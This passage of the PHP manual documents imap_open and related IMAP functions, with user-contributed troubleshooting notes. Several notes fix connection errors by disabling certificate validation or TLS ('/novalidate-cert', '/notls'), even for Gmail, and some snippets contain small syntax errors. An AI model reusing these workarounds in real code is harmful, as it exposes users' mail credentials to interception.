/debug | record protocol telemetry in application's debug log
/secure | do not transmit a plaintext password over the network
/imap, /imap2, /imap2bis, /imap4, /imap4rev1 | equivalent to /service=imap
/pop3 | equivalent to /service=pop3
/nntp | equivalent to /service=nntp
/norsh | do not use rsh or ssh to establish a preauthenticated IMAP session
/ssl | use the Secure Socket Layer to encrypt the session
/validate-cert | validate certificates from TLS/SSL server (this is the default behavior)
/novalidate-cert | do not validate certificates from TLS/SSL server, needed if server uses self-signed certificates
/tls | force use of start-TLS to encrypt the session, and reject connection to servers that do not support it
/notls | do not do start-TLS to encrypt the session, even with servers that support it
/readonly | request read-only mailbox open (IMAP only; ignored on NNTP, and an error with SMTP and POP3)

username

The user name

password

The password associated with the username

options

The options are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only
  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)
  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.
  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())
  • OP_DEBUG - Debug protocol negotiations
  • OP_SHORTCACHE - Short (elt-only) caching
  • OP_SILENT - Don't pass up events (internal use)
  • OP_PROTOTYPE - Return driver prototype
  • OP_SECURE - Don't do non-secure authentication

n_retries

Number of maximum connect attempts

params

Connection parameters, the following (string) keys maybe used to set one or more connection parameters:

  • DISABLE_AUTHENTICATOR - Disable authentication properties

Return Values

Returns an IMAP stream on success or FALSE on error.

Changelog

Version | Description
5.3.2 | params added
5.2.0 | n_retries added

Examples

Example #1 Different use of imap_open()

<?php
// To connect to an IMAP server running on port 143 on the local machine,
// do the following:
$mbox = imap_open("{localhost:143}INBOX", "user_id", "password");

// To connect to a POP3 server on port 110 on the local server, use:
$mbox = imap_open ("{localhost:110/pop3}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server, add /ssl after the protocol
// specification:
$mbox = imap_open ("{localhost:993/imap/ssl}INBOX", "user_id", "password");

// To connect to an SSL IMAP or POP3 server with a self-signed certificate,
// add /ssl/novalidate-cert after the protocol specification:
$mbox = imap_open ("{localhost:995/pop3/ssl/novalidate-cert}", "user_id", "password");

// To connect to an NNTP server on port 119 on the local server, use:
$nntp = imap_open ("{localhost:119/nntp}comp.test", "", "");
// To connect to a remote server replace "localhost" with the name or the
// IP address of the server you want to connect to.
?>

Example #2 imap_open() example

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password");

echo "<h1>Mailboxes</h1>\n";
$folders = imap_listmailbox($mbox, "{imap.example.org:143}", "*");

if ($folders == false) {
    echo "Call failed<br />\n";
} else {
    foreach ($folders as $val) {
        echo $val . "<br />\n";
    }
}

echo "<h1>Headers in INBOX</h1>\n";
$headers = imap_headers($mbox);

if ($headers == false) {
    echo "Call failed<br />\n";
} else {
    foreach ($headers as $val) {
        echo $val . "<br />\n";
    }
}

imap_close($mbox);
?>

See Also

  • imap_close() - Close an IMAP stream

User Contributed Notes

hashampel at yahoo dot de 29-Aug-2014 05:15
Subfolders of INBOX have to be seperate by dot like this: 'INBOX.test'
$mailbox = '{example.example.com:143/imap/novalidate-cert}INBOX.test'
me at achronos dot ca 01-Jun-2014 11:09
Do not bother using "/debug" flag in $mailbox or OP_DEBUG in $options. They do not do anything.

When you set either one, the underlying IMAP c-client library will gather protocol debugging data and pass it back to PHP.
However, the debug handler defined by PHP is an empty function, it doesn't do anything.

So unless you're using a customized version of the IMAP extension that does something with that handler (mm_dlog), there is no point using "/debug" or OP_DEBUG.
Brian Law 22-May-2014 01:14
imap_open()
 validate SSL certificate does not support Subject Alternative Name (SAN) certificate. It only validate against the Subject/Common name.
dejan 22-Apr-2014 10:50
If your opening and closing of connection is too slow, the issue might be with DNS servers. You should add the IP addresses of IMAP servers to your hosts file.

It's explained here in more details http://www.dejanstosic.com/php-imap_open-too-slow-here-is-the-solution/
jeff at newscloud dot com 11-Jan-2014 03:35
One of the issues with gmail IMAP SSL authentication is related to Google's account security.

Once you get the login error once, sign out of all your google accounts. Then, visit this link:
http://www.google.com/accounts/DisplayUnlockCaptcha

Log in with the account you're attempting to access via imap.

Follow the steps and you'll then be able to login in to gmail with php imap.

It's visually shown here:
http://jeffreifman.com/filtered-open-source-imap-mail-filtering-software-for-php/configuring-gmail/
phpnote at cardiothink dot com 07-Feb-2012 11:50
Thank you for this completely non-obvious tip, which solved the problem for me. To help search engines find this tip: the resulting error is "PHP Warning:  imap_open(): Couldn't open stream /home/your-directory/the-file-name in the-script-name on line XX"

If you include:  $str = imap_errors();  echo("imap_errors():\n");  print_r($str);
you will see:
  imap_errors():
  Array
  (
    [0] => Can't open mailbox /home/your-directory/the-file-name: no such mailbox
  )
phpnet at danepowell dot com 12-Dec-2011 05:20
If you are accessing a local mailbox file, i.e. imap_open('/var/mail/www-data', '', ''), you may be restricted in what files you can access.

If PHP IMAP was compiled with the restrictBox option (which I believe most packages are these days), you can only access files relative to $HOME. Paths starting with '/' or '../' will be rejected.
Martin Eckardt 01-Jul-2011 03:41
Since Version 5.3.2 there's a 6th parameter available to disable authentication with GSSAPI or NTLM:

Example:
<?php
$mbox = imap_open("{w2010ExchangeServer:993/imap/ssl}", $user, $password, NULL, 1, array('DISABLE_AUTHENTICATOR' => 'GSSAPI'));
?>

This solves the problem with Exchange 2010 for me. As a reference see https://bugs.php.net/bug.php?id=33500
jeff1326 13-Jun-2011 04:12
If your connection is too slow, try it with port and without domain.

<?php
//Normal connection
$mailbox = imap_open("{SERVER}INBOX", $username, $password);

//Faster connection
$mailbox = imap_open("{SERVER:143}INBOX", $username, $password);

//Very slow connection
$mailbox = imap_open ("{SERVER.DOMAIN}INBOX", "DOMAIN/".$username, $password);
?>
david at brayworth dot com dot au 10-May-2011 02:28
I managed to use this function against Exchange 2010 without recompiling to disable kerberos

It's important to me that php installs per the standard package (yum install php)

Exchange 2010 triggers kerberos in php, and you require the kinit thing (search around google for "imap_open kinit exchange 2010" and you will find this)

To get it working I had to:
1. setup the krb5.conf file correctly
2. do a kinit username@DOMAIN.DOM with a valid username / password
3. rename the ticket file to reflect the user id of apache (usually 48)
   /tmp/krb5cc_48
4. fix ownership
   chown apache.apache /tmp/krb5cc_48

but the exchange server will use the kerberos ticket and not the username password - unless you use ssl

<?php

    $imap_user = "username";
    $imap_pass = "password";
    $imap_server = "{w2010kExchangeServer:993/novalidate-cert/ssl}";

    $mbox = imap_open("{$imap_server}INBOX", $imap_user, $imap_pass);

    $sorted_mbox = imap_sort($mbox, SORTDATE, 0);
    $totalrows = imap_num_msg($mbox);
    print "$imap_server\n";

    $startvalue = 0;
    while ($startvalue < $totalrows) {

        $headers = imap_fetchheader($mbox, $sorted_mbox[ $startvalue ] );
        $subject = array();
        preg_match_all('/^Subject: (.*)/m', $headers, $subject);
        print $subject[1][0] . "\n";

        $startvalue++;
    }
?>

One small step for php / exchange, one Giant leap for David  ....
ph at hotmail dot fr 02-May-2011 10:05
For those having issues with Gmail (my problem was : "too many login failures" on a webserver, but no problem on localhost..), instead of opening with :

$inbox = imap_open($hostname,$username,$password,NULL,1) or die('Cannot connect to Gmail: ' . imap_last_error());

Use :

$inbox = imap_open($hostname,$username,$password,NULL,1) or die('Cannot connect to Gmail: ' . print_r(imap_errors()));

You will be able to see the full list of errors that happened, and hopefully it will guide you to an answer.
In my case, Google wanted me to unlock my account by typing in a captcha. But this error wasn't clearly shown through imap_last_error().

Cheers,
PH
guilherme dot geronimo at gmail dot com 10-Nov-2010 02:23
Using:
<?php
imap_open( "{server.example.com:143}INBOX" , 'login' , 'password' );
?>

Got this error:
"Couldn't open stream {server.example.com:143}INBOX"

Solved by adding the flag "novalidate-cert":
<?php
imap_open( "{server.example.com:143/novalidate-cert}INBOX" , 'login' , 'password' );
?>

=D
egoman69 at hotmail 07-Sep-2010 09:32
"Couldn't open stream {127.0.0.1:143/imap/notls}INBOX"

Solved by only replacing 127.0.0.1 with localhost, php and IMAP server both in same machine, not through Proxy or anything. Weird!
Nohado 26-Aug-2010 08:34
if u ever get something like this:

Notice: Unknown: IMAP protocol error: Invalid system flag in Store command (errflg=2) in Unknown on line 0

Notice: Unknown: Invalid system flag in Store command (errflg=2) in Unknown on line 0

This Error occurs if u want to set a flag 2 times. Just check ur manually flag Settings.

Cheers,
Nohado
anthony2009 at ns dot sympatico dot ca 25-Aug-2010 09:34
<?php
// You can break out the variables for $mailserver, $port, $user and
// $pass without passing brackets into functions this way. Be sure to use
// the dots to append connection strings, ie "stuff". $variable ."STUFF"
// otherwise will go to imap_open with wrong variable type. :)

$mailserver="mail.example.com";
$port="110/pop3";
$user="aj";
$pass="remax01";

if ($mbox=imap_open( "{" . $mailserver . ":" . $port . "}INBOX", $user, $pass ))
 {  echo "Connected\n";

    $check = imap_mailboxmsginfo($mbox);

    echo "Date: "     . $check->Date    . "<br />\n" ;
    echo "Driver: "   . $check->Driver  . "<br />\n" ;
    echo "Unread: "   . $check->Unread  . "<br />\n" ;
    echo "Size: "     . $check->Size    . "<br />\n" ;

    imap_close($mbox);
 } else { exit ("Can't connect: " . imap_last_error() ."\n");  echo "FAIL!\n";  };
?>
oz49erfan 03-Mar-2010 04:39
Make sure your PHP is enabled with imap via the phpinfo() function

'--with-imap-dir=/opt/lampp' '--with-imap-ssl' '--with-imap=/opt/lampp'

and

IMAP c-Client Version 2007e
SSL Support Yes

I noticed that my apache script was working but my cli script was not. Turns out my php cli executable didn't have imap setup so I had to use another php cli executable.
kay at rrr dot de 31-Jan-2010 05:16
imap_open is very simple to use, but struggles a litte bit on setups with ssl and tls.

this are tested examples for different hosts and protocols.

uncomment the host/protocol line and fill in correct username and password.

Kay

<?php

#######
# localhost pop3 with and without ssl
# $authhost="{localhost:995/pop3/ssl/novalidate-cert}";
# $authhost="{localhost:110/pop3/notls}";

# localhost imap with and without ssl
# $authhost="{localhost:993/imap/ssl/novalidate-cert}";
# $authhost="{localhost:143/imap/notls}";
# $user="localuser";

# localhost nntp with and without ssl
# you have to specify an existing group, control.cancel should exist
# $authhost="{localhost:563/nntp/ssl/novalidate-cert}control.cancel";
# $authhost="{localhost:119/nntp/notls}control.cancel";

######
# web.de pop3 without ssl
# $authhost="{pop3.web.de:110/pop3/notls}";
# $user="kay.marquardt@web.de";

#########
# goggle with pop3 or imap
# $authhost="{pop.gmail.com:995/pop3/ssl/novalidate-cert}";
# $authhost="{imap.gmail.com:993/imap/ssl/novalidate-cert}";
# $user="username@gmail.com";

$user="username like above";
$pass="yourpass";

if ($mbox=imap_open( $authhost, $user, $pass ))
        {
         echo "<h1>Connected</h1>\n";
         imap_close($mbox);
        } else
        {
         echo "<h1>FAIL!</h1>\n";
        }

?>
mightycpa 04-Jul-2009 07:45
My script kept on timing out, even though the syntax was spot on... ultimately, I figured out that the port was blocked by my webhost, where I ran this on a shared server...

I post this just in case you miss this obvious, like I did.
Jason Pires 25-Apr-2008 07:56
Dears.
In my case, e-mail host was the IMAP enabled.
So, just use the imap_open as the very simple form like:

$mailbox = "{mail.myhost.com:143/notls}INBOX";
$user = "me@myhost.com";
$pass = "mypassword";

$connection = imap_open($mailbox,$user,$pass) or die(imap_last_error()."<br>Connection Faliure!");

thanks!
Binit 11-Apr-2008 11:39
I was trying imap_open() function but I was continuously getting this error:

Array ( [0] => [CLOSED] IMAP connection broken (server response) )

I was finally able to solve this problem (which is a very common problem as I saw it on the net but could not find any solution to it) so I'm posting my solution here which I hope will be useful to others.

I used stunnel program (http://www.stunnel.org/) and made changes in the stunnel.conf file as follows:

I added these lines:
[imapsClient]
accept = localhost:143
connect  = imapserver:993
client = yes
sslVersion = TLSv1

This will map insecure imap connection from localhost:143 to imapserver:993 (IMAP with SSL).

After this I tried this code and it worked fine:

<?php

$user="";
$pass="";
$imap = @imap_open("{localhost:143}INBOX", $user, $pass);
?>

and I was able to do away with the errors.

A more detailed post about it can be found here:
http://www.phpfreaks.com/forums/index.php/topic,190628.0.html
itstooloud 31-Oct-2007 08:50
Works with Gmail's new IMAP function for personal and for Google Apps.

$mbox = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", "username@gmail.com", "password")
     or die("can't connect: " . imap_last_error());
askalski at synacor dot com 27-Sep-2007 05:50
By default, imap_open() will retry an incorrect password 3 times before giving up.  This is a feature built into the c-client library intended for interactive mail clients (which can prompt the end user for a new username/password combo.)

The new optional parameter "$n_retries" allows PHP to override the default retry limit.  There is absolutely no reason to leave this at default, or to set it to any value other than 1.  This is especially important if the mail server you're using locks users out after too many login failures.
bow+php dot net at virtual-habitat dot net 08-Sep-2007 05:06
Setting a mailbox name (eg INBOX) at the end of the connection string does not work when using imap_open() with OP_HALFOPEN. You may use imap_reopen() then.

<?php

/* this will fail : */
$connection = imap_open('{mx.example.net}INBOX', 'foo', 'secret', OP_HALFOPEN.);
$num_mgs = imap_num_msg($connection);
imap_close($connection);

/* this will do : */
$connection = imap_open('{mx.example.net}INBOX', 'foo', 'secret', OP_HALFOPEN.);
imap_reopen($connection, '{mx.example.net}INBOX');
$num_mgs = imap_num_msg($connection);
imap_close($connection);

?>
gyokimae 11-May-2007 08:11
Beginning with 5.2.2, binaries built for Windows also seem to have changed its default behavior.
'/notls' needs to be specified for a non-SSL connection.
Fladnag 27-Feb-2007 10:08
you can avoid this message :

Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0

by specified the option OP_SILENT to imap_open.
Amit 11-Sep-2006 07:25
None of the above comments explain the configuration issues on Apache/Windows combination. I thought it might be helpful to list my findings here so that Windows people's time is saved.

There is a bug in Windows php_imap.dll that prevents it from connecting it to the SSL IMAP/POP3 server.

http://bugs.php.net/bug.php?id=36496&edit=1
shaikh_zaid at yahoo dot com 04-Apr-2006 08:55
imap_open will not open a stream if your server operates with Transport Layer Security (i.e. TLS) imap_open connects with SSL if its there. So try opening mailbox as

$mailbox="{mail.domain.com:143/imap/notls}";
or
$mailbox="{mail.domain.com:110/pop3/notls}"; This works...

Some mail server requires you to provide username@domain.com so you can always use. user@doamin.com

$conn=imap_open($mailbox, $username, $password);

Some server may ask for username as "user=user@domain.com"

:)
admin at sellchain dot com 09-Dec-2005 05:36
Looking for a cool PHP Script to help you connect to a POP3 server, and download E-Mail to MySQL? Check out my neet-skeet script I wrote. Have fun.

Http://www.sellchain.com/phPOP3/phPOP3.txt

Download the above TXT file, and rename it to phPOP3.php.

Trust me, you will learn mostly everything about IMAP with this script.

By the way, be sure to use print_r($headers) to discover the headers that come with each message. You can setup your MySQL + Email Account information at the top of the script. No includes required!

Enjoyz;)
03-Aug-2005 04:13
WHen you use the /ssl connection...  half open doesnt work...!

what i did was opened it up with the .com:143/pop3}, op_halfopen

when i was getting my folders...
avizion at relay dot dk 12-May-2005 12:30
For FreeBSD users...

If you want to have SSL support, you want to install the ports:

mail/php5-imap
security/php5-openssl

Cheers :)

 - avizion
m dot stoel at cyberkinetic dot nl 27-Apr-2005 07:50
a little tip for those who get really frustrated even after reading all the right solutions and implementing them but still get the same errors or none at all..:
after having changed the code.. restart the httpd deamon..

for Fedora or any other Red Hat Linux OS (/etc/init.d/httpd restart).

After this you will be able to make a imap/pop3 stream from apache..
thushara dot perera at unilink dot lk 26-Feb-2005 06:19
Warning: imap_open() [function.imap-open]: Couldn't open stream {xx.xx.x.xxx:143}INBOX

correct the connection string as :
{xx.xx.x.xxx:143/notls}INBOX
info at infosoporte.com 25-Feb-2005 03:14
I can connect to my email server with no problem using regular usernames and passwords but.... in my server the usernames are long.. like name.surname1.surname2@subdomain.domain.com , and i get an error when the username size is over 40 chars:

$conn = imap_open("{". $server . ":110/pop3}", $username, $user_password) or die ("Failed with error: ".imap_last_error());

returns

Too many login failures

when the username is over 40 chars. Just remember that if you plan to use long usernames.
elizar.palad 14-Dec-2004 07:22
thanks to the one who added that the login part should be the whole email address for it to work.. (assuming of course that all other stuff is good and working ;)

to add something, in the 'email address' login name, is not really the email address, ,it's the pop login name plus '@' plus the domain.. hope it's not confusing...

poploginname@domain.com

not

emailaddress@domain.com..
gasaunde at vcu dot edu 13-Dec-2004 08:35
I've found that on my servers I _must_ use imap_errors() and imap_alerts() after an imap_open or this error is thrown in the logs when the mailbox is empty: [error] PHP Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0
liamr at umich dot edu 30-Jun-2004 01:40
To authenticate using kerberos V / GSSAPI, you might need to add "user=" to the connection string.. eg:

$mbox = imap_open( "\{imap.example.com:143/imap/notls/user=" . $user . "}INBOX", $user, $passwd );

Our IMAP servers won't allow a user other than the user specified in the kerberos credentials connect using those credentials unless you specify that extra "user=" in the connection string.  Passing it as an argument to imap_open() doesn't seem to be enough.
nmmm at nmmm dot nu 22-Jun-2004 07:37
To open local mailbox ( mbox ) enter its absolute file name.

>an absolute filename
>This specifies a mailbox in the default format (usually >Berkeley format for most default library builds)

source:
http://aspn.activestate.com/ASPN/CodeDoc/Mail-Cclient/Cclient.html
rvarkelen AT hortimax.nl 14-Jan-2004 12:03
In order to make a IMAP connection to a Microsoft Exchange Server 5.5, I used this connection-string :

<?php
if(imap_open ("{192.168.1.6:143/imap}Inbox", "DOMAIN/USERNAME/ALIAS", "PASSWORD"))
{
    echo 'Connection success!';
}
else
{
    echo 'Connection failed';
}
?>

By replacing "Inbox" with, e.g. "Tasks", its possible to see all your tasks. I Hope this helps anybody!

Regards
marshall /AT\ pacdemon.org 03-Nov-2003 08:50
Thanks for all your comments.  The user comments have saved me countless times.

I'd like to give back in my small way by providing this little tip.  To test your pop or imap services you can use telnet (almost all operating systems should come with a command line telnet client).

Here's the pop3 example (the lines that start with + are the server's response):

    telnet your.pop.host.com 110
    +OK POP3 your.pop.host.com v2001.78 server ready
    user your_username
    +OK User name accepted, password please
    pass your_password
    +OK Mailbox open, 23 messages

Note that your pop server may be on some other port than 110 but that is the default/standard.

Here's the imap example (Lines that have OK near the begining are server responses):

    telnet your.imap.host.com 143
    * OK [CAPABILITY IMAP4REV1...]
    1 LOGIN "your_username" "your_password"
    1 OK [CAPABILITY...] ... User your_username authenticated

This might be old news to some people but I hope it's helpful for many.
marshall /at/ sprux net 19-Aug-2003 01:44
I only run imap on port 993 (ssl only) and I was unable to use imap_open().. couldn't even get an error out of the script, it just sat there and timed out with no messages in the logs or anything--the page wouldn't load.

Anyway, this is what finally worked, which I found in the readme for a popular opensource webmail system:

$i = @imap_open("{localhost:993/ssl/novalidate-cert}INBOX", $user, $pw);

I didn't see the 'ssl' option mentioned anywhere in these comments so maybe this will help someone out.
Kyle Putnam 15-Jun-2003 01:52
I was getting bizzare errors that I couldn't find documentation about anywhere on Google. I tried connecting to another server and got different, but just as unusual error messages. I even checked the POP3 server logs and it said something about invalid command... I figured it was another libc problem.

Stupidly enough, the problem was that I was using an unset variable for the password! Make sure you don't have an empty username or password... you'll have a hard time debugging the problem ;)
stefan dot greifeneder at dioezese-linz dot at 09-May-2003 03:10
Had problems to use imap_open with iMail 6.06 Server. My problem was (sounds stupid): Didn't realise that the username had to be the full email address and not just the login. Maybe this helps some people.
bill dot mccoy at pictureiq dot com 24-Apr-2003 04:29
"notls" seems to be required for PHP on RedHat 8.0, but it seems that "/norsh" is also advisable; without it, the client library will attempt an RSH connection and wait for this to timeout before reverting to normal IMAP. This was causing a 15 second delay in imap_open for me. Looking at the client lib C code this will likely be an issue on other platforms as well as they update to the newer version. You can use both "/notls" and "/norsh", e.g. the first parameter to imap_open can be something like: "{your.imap.host/imap/notls/norsh}".
kaper at nexgc dot com 08-Apr-2003 06:17
I had been having lots of trouble trying to get imap_open to connect to an imap server.  Then I found another post online that suggested this and it worked, so I am going to post it here.  I hope this helps others..

"I have tried with the following strings instead and it works:

for pop3: {www.server.com:110/pop3/notls}INBOX

and for imap: {www.server.com:143/notls}INBOX.
xore at hotmail dot com 02-Apr-2003 01:37
pop3 seems to like refusing connection if you have OP_READONLY set

testers: be forewarned :P
madsiuk at morellos dot net 27-Feb-2003 04:35
hi
  Note for all having problems to connect hosts using imap_open:

  I spent almost week trying to fix my script which was connecting to localhost but was unable to connect any other host. Sollution was actually wery simple but I'm writing that note becouse there are some posts at usenet or forums decribing similiar problems. And actually I haven't found any  answer for that. So for all of you trying to connect to hosts with imap_open CHECK IF THERE IS NO FIREWALL BLOCKING POP3.

madsiuk
russell at flora dot ca 09-Jan-2003 12:07
Note about "PHP Warning:  Certificate failure"

I'm not sure if this is a RedHat, PHP, or IMAP library issue, but the default for SSL seems to have changed.

You now need to specify "/notls" when you don't want TLS, rather than only needing to specify "/ssl" when you do.

Example:

"{localhost:143}INBOX"

becomes:

"{localhost:143/notls}INBOX"
jpdalbec at ccNO dot ysuSPAM dot edu 17-Jun-2002 08:27
I ran into the
PHP Warning:  Certificate failure for <server>: self signed certificate:
message while upgrading 4.0.6->4.1.2.  I'm pleased to report that {<server>:<port>/imap/tls/novalidate-cert}<mailbox>
works as expected (and fixes my problem).  I'm using IMP 2.2.8.
fxbois at free dot fr 05-Jun-2002 08:07
Hi,
I just want to say to all redhat people who have problem (Couldn't open stream) with the connection on the local pop server to use this :
{127.0.0.1:110/pop3/notls}INBOX
hope this help
frederik at roal dot no 17-Apr-2002 06:02
For all imap functions where you specify the mailbox string it is important that you ALWAYS use IP (not hostname) and the portnumber. If you do not do this imap functions will be painfully slow.
Using hostname instead of IP adds 3 seconds to each IMAP call, not using portnumber adds 10 seconds to each imap call. (hint: use gethostbyname() )
brojann at netscape dot com 30-Oct-2001 11:01
You can do

<? $foo = imap_errors(); ?>

to clear unwanted warning messages like 'Mailbox is empty'
jdg11 at po dot cwru dot edu 14-Aug-2001 12:41
It would be nice to mention that this function does send headers. It makes sense, but it is not obvious. It took me a while to figure it out. I authenticate against a POP3 server, and set a cookie if the authentication validates. At least I wanted to :) But since it sends a header to the server, setcookie() won't work.
curtis at lamere dot net 27-Jun-2001 01:16
I have found that the syntax for the imap_open command in PHP 4 differs whether you're passing a variable to the imap_open function or declaring the host directly within the function.  If you are passing variables to the imap_open function, the syntax should look like:

$username = "user";
$password = "password";
$mailserver = "mail.somedomina.com:110/imap";

$link = imap_open("\{$mailserver}INBOX",$username,$password);

If you don't include the leading backslash (\) you will not open the stream.  Likewise you cannot pass the curly braces to the function.

If you define the server directly, omit the leading backslash.

$username = "user";
$password = "password";

$link = imap_open("{mail.somedomain.com:110/pop3}",$username,$password)"

I discovered all of this after 3 days of trying to get all of this work on redhat 7.1.
23-May-2001 07:23
A better way to connect to a mail server would be to use uri syntax, for example:

imap://username:password@server.com:143/INBOX/message/part

this is very easy to parse using 'parse_url()'

Remember to keep your username and password hidden if your over an open network
fferreres at joydivision dot com dot ar 29-Mar-2001 04:12
IMAP, POP and NNTP are ok. But plaintext mailboxes are unmentioned here. You just forget the {part} and go for the file (tested on unix):

$mbox = imap_open ($a_mail_box_file_name_in_home_dir, "", "") || die("Snif...:
".imap_last_error());
kvance at n-link dot net 09-Mar-2001 10:34
Connections to the IMAP server work without specifying the port number, but they are slow, so specifying the port number is important if you don't want a slow application.
bandpay at hotmail dot com 04-Dec-2000 09:59
I have a single comment to add about imap_open.
If you want to connect to a news server, without specifying any news gruop, you can use the following:

<?php
$server = "{news.servername.com/nntp:119}";
$nntp = imap_open($server,"","",OP_HALFOPEN);
?>

and $nntp will become the connection ID.

Regards
//Babak


Check if the IMAP stream is still active

  • « imap_open
  • imap_qprint »
  • PHP Manual
  • IMAP Functions
  • Check if the IMAP stream is still active

imap_ping

(PHP 4, PHP 5)

imap_ping — Check if the IMAP stream is still active

Description

bool imap_ping ( resource $imap_stream )

imap_ping() pings the stream to see if it's still active. It may discover new mail; this is the preferred method for a periodic "new mail check" as well as a "keep alive" for servers which have inactivity timeout.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns TRUE if the stream is still alive, FALSE otherwise.

Examples

Example #1 imap_ping() Example

<?php

$imap = imap_open("{imap.example.org}", "mailadmin", "password");

// after some sleeping
if (!imap_ping($imap)) {
    // do some stuff to reconnect
}

?>

User Contributed Notes

28-Dec-2002 01:28
This is a great solution for a webmail class if you want to make sure that a user is still logged in. Example:

<?php
if(!(imap_ping($stream)) {
die("The user is no longer logged in.");
?>


Convert a quoted-printable string to an 8 bit string

  • « imap_ping
  • imap_rename »
  • PHP Manual
  • IMAP Functions
  • Convert a quoted-printable string to an 8 bit string

imap_qprint

(PHP 4, PHP 5)

imap_qprint — Convert a quoted-printable string to an 8 bit string

Description

string imap_qprint ( string $string )

Convert a quoted-printable string to an 8 bit string according to » RFC2045, section 6.7.

Parameters

string

A quoted-printable string

Return Values

Returns an 8 bits string.

See Also

  • imap_8bit() - Convert an 8bit string to a quoted-printable string

User Contributed Notes

wese at gmx dot at 11-Nov-2008 03:52
I just got rid of the loops using a regex.

<?php
function decode_qprint($str) {
    $str = preg_replace("/\=([A-F][A-F0-9])/","%$1",$str);
    $str = urldecode($str);
    $str = utf8_encode($str);
    return $str;
}
?>

Thanks for sharing!
tonitester at gmx dot net 27-Mar-2007 03:35
If you don't have access to the imap_qprint function and you have to encode URL Decoded and Quoted Printable Strings you receive by Mail try this simple function. But if you don't receive URL Decoded data and the string doesn't contain an = you better use http://www.php.net/manual/en/function.quoted-printable-decode.php

function decode_qprint($str){
$arr= array("A","B","C","D","E","F");
while (list(, $var) = each($arr)) {
    $i=0;
    while ($i <=9){
        $str=str_replace("=".$var.$i,"%".$var.$i,$str);
        $i++;}
    $arr2 = array("A","B","C","D","E","F");
    while (list(, $val) = each($arr2)) {
        $str=str_replace("=".$var.$val,"%".$var.$val,$str);}}
$str = urldecode($str);
$str = utf8_encode($str);
return $str;}

$s2d='=F6=D6=DF=C4=E4=DC=FC=A9=AE';
$2s2d='%F6';

$output = decode_qprint($s2d);
$output2 = decode_qprint($2s2d);

echo $output;
echo $output2;
bletous at yahoo dot fr 28-Aug-2005 02:55
Some mails are encoded in bad quoted printable format:
I use this function to decode the qprint:

for($i=0;$i<256;$i++)
    {
    $c1=dechex($i);
    if(strlen($c1)==1){$c1="0".$c1;}
    $c1="=".$c1;
    $myqprinta[]=$c1;
    $myqprintb[]=chr($i);
    }

function decode($data,$code)
{
if(!$code){return imap_utf7_decode($data);}
if($code==0){return imap_utf7_decode($data);}
if($code==1){return imap_utf8($data);}
if($code==2){return ($data);}
if($code==3){return imap_base64($data);}
if($code==4){return imap_qprint(str_replace($myqprinta,$myqprintb,($data)));}
if($code==5){return ($data);}

}
jdr 16-Jul-2003 06:28
$subject=utf8_decode(imap_utf8($subject));

works instead of imap_qprint on php 4.2.0 (win32)
bernard at bmpsystems dot com 26-Feb-2000 09:35
This function seems to have a bug, when the quoted-printable string contains a "=" without the HEX code of a Character.
I use the regular quoted_printable_decode instead.


Alias of imap_renamemailbox

  • « imap_qprint
  • imap_renamemailbox »
  • PHP Manual
  • IMAP Functions
  • Alias of imap_renamemailbox

imap_rename

(PHP 4, PHP 5)

imap_rename — Alias of imap_renamemailbox()

Description

This function is an alias of: imap_renamemailbox().

User Contributed Notes

There are no user contributed notes for this page.


Rename an old mailbox to new mailbox

  • « imap_rename
  • imap_reopen »
  • PHP Manual
  • IMAP Functions
  • Rename an old mailbox to new mailbox

imap_renamemailbox

(PHP 4, PHP 5)

imap_renamemailbox — Rename an old mailbox to new mailbox

Description

bool imap_renamemailbox ( resource $imap_stream , string $old_mbox , string $new_mbox )

This function renames on old mailbox to new mailbox (see imap_open() for the format of mbox names).

Parameters

imap_stream

An IMAP stream returned by imap_open().

old_mbox

The old mailbox name, see imap_open() for more information

new_mbox

The new mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_createmailbox() - Create a new mailbox
  • imap_deletemailbox() - Delete a mailbox

User Contributed Notes

Christoffer Lindahl 12-Oct-2010 07:27
Don't forget that you can't be connected to the mailbox that you are going to rename (or delete).

If you have the following mailboxes:
INBOX
INBOX.Foo

...and want to rename "INBOX.Foo" to "INBOX.Bar" you have to be connected to "INBOX":

<?php
$mbox = imap_open('{imap.example.com}INBOX', 'username', 'password');
imap_renamemailbox($mbox, '{imap.example.com}INBOX.Foo', '{imap.example.com}INBOX.Bar');
imap_close($mbox);
?>
josh at paducahwebpublishing dot com 03-Mar-2000 09:13
Don't let "...string old_mbox, string new_mbox);" fool you. You have to add the server and port to the mailbox name also. So it would be something like:

imap_renamemailbox($mailbox, "{localhost:143}$oldfolder", "{localhost:143}$newfolder")

Just thought I would point it out, it took me a while to figure it out.


Reopen IMAP stream to new mailbox

  • « imap_renamemailbox
  • imap_rfc822_parse_adrlist »
  • PHP Manual
  • IMAP Functions
  • Reopen IMAP stream to new mailbox

imap_reopen

(PHP 4, PHP 5)

imap_reopen — Reopen IMAP stream to new mailbox

Description

bool imap_reopen ( resource $imap_stream , string $mailbox [, int $options = 0 [, int $n_retries = 0 ]] )

Reopens the specified stream to a new mailbox on an IMAP or NNTP server.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

options

The options are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only
  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)
  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.
  • OP_EXPUNGE - Silently expunge recycle stream
  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())

n_retries

Number of maximum connect attempts

Return Values

Returns TRUE if the stream is reopened, FALSE otherwise.

Changelog

Version | Description
5.2.0 | n_retries added

Examples

Example #1 imap_reopen() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
// ...
imap_reopen($mbox, "{imap.example.org:143}INBOX.Sent") or die(implode(", ", imap_errors()));
// ..
?>

User Contributed Notes

There are no user contributed notes for this page.


Parses an address string

